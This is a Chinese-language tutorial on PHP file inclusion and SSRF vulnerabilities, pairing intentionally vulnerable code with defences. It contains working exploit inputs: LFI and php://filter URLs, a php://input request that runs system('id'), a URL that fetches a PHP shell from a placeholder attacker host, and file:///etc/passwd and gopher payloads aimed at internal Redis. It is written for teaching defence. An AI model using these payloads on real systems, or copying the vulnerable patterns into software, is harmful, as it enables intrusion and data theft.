深入理解PHP安全漏洞:文件包含與SSRF攻擊全解析
前言
在Web安全領域,PHP應用程序的安全問題一直備受關注。本文將深入探討兩種常見的PHP安全漏洞:文件包含漏洞和服務器端請求偽造(SSRF),幫助開發者理解漏洞原理、利用方式以及防御措施。
第一部分:文件包含漏洞詳解
什么是文件包含漏洞?
文件包含漏洞是PHP應用程序中常見的安全問題,當開發者使用包含函數引入文件時,如果傳入的文件名參數未經嚴格校驗,攻擊者就可能利用這個漏洞讀取敏感文件甚至執行惡意代碼。
危險函數
PHP中有四個主要的文件包含函數:
include()
include_once()
require()
require_once()
文件包含漏洞類型
1. 本地文件包含(LFI)
利用方式:
- 直接讀取Flag文件
- 通過PHP偽協議讀取源代碼
- 寫入PHP木馬獲取webshell
示例代碼:
<?php
$file = $_GET['file'];
if(file_exists('/home/www/'.$file.'.php')) {include '/home/www/'.$file.'.php';
} else {include '/home/www/'.'home.php';
}
?>
利用方法:
http://www.example.com/demo1.php?file=flag.php%00
2. PHP偽協議利用
常用偽協議:
file://
協議:
http://www.example.com/index.php?file=file://D:/phpStudy/WWW/flag.txt
php://filter
:
http://example.com/index.php?file=php://filter/read=convert.base64-encode/resource=index.php
php://input
:
POST /index.php?file=php://input HTTP/1.1
...
<?php system('id'); ?>
3. 遠程文件包含(RFI)
必要條件:
allow_url_fopen = On
allow_url_include = On
示例代碼:
<?php
$basePath = @$_GET['param'];
require_once $basePath.'/action/m_share.php';
?>
利用方法:
http://www.example.com/demo4.php?param=http://www.xx.com/attacker/PHPshell.txt?
防御措施
- 白名單驗證
- 禁用危險配置:
allow_url_fopen = Off allow_url_include = Off
- 設置
open_basedir
- 嚴格校驗用戶輸入
- 避免動態包含
第二部分:SSRF漏洞深入解析
什么是SSRF?
SSRF(Server-Side Request Forgery)是一種由攻擊者構造形成由服務端發起請求的安全漏洞。攻擊者可以利用此漏洞訪問外網無法訪問的內部系統。
常見危險函數
file_get_contents()
<?php
if (isset($_POST['url'])) {$content = file_get_contents($_POST['url']);$filename = '/images/'.rand().'img1.jpg';file_put_contents($filename, $content);echo $_POST['url'];$img = "<img src=\"".$filename."\"/>";echo $img;
}
?>
fsockopen()
<?php
function GetFile($host, $port, $link) {$fp = fsockopen($host, intval($port), $errno, $errstr, 30);if (!$fp) {echo "$errstr (error number $errno) \n";} else {$out = "GET $link HTTP/1.1\r\n";$out .= "Host: $host\r\n";$out .= "Connection: Close\r\n\r\n";$out .= "\r\n";fwrite($fp, $out);$contents = '';while (!feof($fp)) {$contents .= fgets($fp, 1024);}fclose($fp);return $contents;}
}
?>
curl_exec()
<?php
if (isset($_POST['url'])) {$link = $_POST['url'];$curlobj = curl_init();curl_setopt($curlobj, CURLOPT_POST, 0);curl_setopt($curlobj, CURLOPT_URL,$link);curl_setopt($curlobj, CURLOPT_RETURNTRANSFER, 1);$result = curl_exec($curlobj);curl_close($curlobj);$filename = './curled/'.rand().'.txt';file_put_contents($filename, $result);echo $result;
}
?>
SSRF繞過技巧
1. IP編碼繞過
- 使用xip.io域名:
10.0.0.1.xip.io
- IP轉換為10進制
2. 協議變換
- Dict協議:
dict://192.168.1.1:8080/test:dict
- Gopher協議:
gopher://192.168.1.1/gopher
- File協議:
file:///etc/passwd
3. Gopher協議高級利用
Gopher協議可以攻擊內網的多種服務:
- FTP
- Telnet
- Redis
- Memcache
Redis攻擊示例:
<?php
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_GET["url"]);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
$output = curl_exec($ch);
curl_close($ch);
?>
4. filter_var()繞過
<?php
$url = $_GET['url'];
echo "Argument: ".$url. "\n";
if(filter_var($url, FILTER_VALIDATE_URL)) {$r = parse_url($url);var_dump($r);if (preg_match('/skysec\.top$/', $r['host'])) {exec("curl -v -s ".$r['host']."", $a);} else {echo "Error: Host not allowed";}
} else {echo "Error: Invalid URL";
}
?>
繞過方法:
http://example.com/test.php?url=0://192.168.1.1.com:8080;skysec.top:80/
5. 30x跳轉繞過
<?php
$url = $_GET['url'];
print $url;
curl($url);
function curl($url) {$ch = curl_init();curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_HEADER, 0);curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);curl_exec($ch);curl_close($ch);
}
防御SSRF的最佳實踐
- 限制協議:只允許HTTP和HTTPS
- 禁止訪問內網IP
- 設置URL白名單
- 禁用CURLOPT_FOLLOWLOCATION
- 使用DNS解析結果校驗
- 過濾返回信息
結語
文件包含和SSRF漏洞都可能對Web應用造成嚴重威脅。作為開發者,理解這些漏洞的原理和利用方式,才能更好地防御它們。安全是一個持續的過程,需要開發者保持警惕并不斷更新知識。
免責聲明:本文所有技術內容僅用于教育目的和安全研究,未經授權對他人系統進行測試屬于違法行為。